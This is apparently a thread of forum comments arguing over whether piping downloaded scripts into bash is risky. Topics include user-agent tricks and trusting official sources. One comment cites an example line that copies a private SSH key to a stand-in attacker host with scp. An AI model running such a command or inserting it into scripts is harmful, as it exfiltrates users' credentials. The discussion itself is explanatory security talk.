Let’s say you curl bash something and it has ie ‘scp ~/.ssh/id_ed25519 badComputerGuy’ in it then you just uploaded your private key to the bad guys. And that’s why ssh keys should be password protected

The real answer is that user-agents can be used to show you one version in your browser and then serve you another one with curl.

I say “real” because all the idiots talking about “don’t run scripts from the internet!!!” probably forget they don’t decompile every binary they run. E.g. the rustup installer (the tool for managing Rust toolchains) is by default a curl+bash one liner. Why would I worry about them serving me a wrong script when I’m any way about to run their binary blob?

If you have any doubt about the hosting service (which might or not be the same as the software author!) then avoid piping into bash, but then why would you run their code at all if you distrust them so much? Do you expect github to install a keylogger? Probably not. Some telemetry hook to know whose running the requested script? Possibly someday

In THEORY they’re bad because the script could do malicious things and you shouldn’t blindly trust random people on the internet telling you what to execute.

In practice it’s mostly fearmongering because you’re likely trying to install a binary that could do malicious things anyways. “Mostly” because it is a bit less safe as one could MITM the script more easily or something, but not really by that much.

You shouldn’t run curl | sh scripts some random person sends you, but running an official script prom an official source is no more dangerous than running a .Deb file from that same source.

As others have said, you are boldly trusting that the script you’re downloading is safe. ALWAYS examine a script before you pipe to bash. Also, open the script in your browser, the copy paste j to your terminal. It’s entirely possible to change the script based on use agent to display differently when your check in your browser versus when you pipe to bash

“Download this shell script from the web and execute it right away.”

Probably close to 80% of the words in the sentence are wrong.

It forces you to blindly trust that whatever script curl will download is save to run and does exactly what you want / was promised as it will be executed right away.